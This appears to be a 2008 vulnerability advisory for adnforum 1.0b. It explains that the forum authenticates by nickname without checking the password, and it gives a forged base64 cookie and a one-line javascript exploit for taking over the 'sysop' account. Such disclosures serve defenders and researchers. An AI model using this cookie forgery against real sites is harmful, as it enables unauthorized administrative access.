adnforum <= 1.0b / Insecure Cookie Handling Vulnerability

2008.09.26

Credit: Pepelux

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
adnforum <= 1.0b / Insecure Cookie Handling Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: adnforum
$ Version: <= 1.0b
$ File affected: index.php
$ Download: http://sourceforge.net/projects/adnforum/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


Cookie is base64 based and the ascii format used is:
user:23ed4e45887ad4311ff654bd4aab6540:user:0
user:md5 pass:user:0

Programmer forgot to check the pass and only use the nick to autenticate
the user.

You can create a fake cookie likes this:
sysop:000000000000000000000000000000:sysop:0

In base64: c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA

Exploit:
javascript:document.cookie =
"fpusuario=c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA"

References:

http://seclists.org/bugtraq/2008/Sep/0280.html

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

adnforum <= 1.0b / Insecure Cookie Handling Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.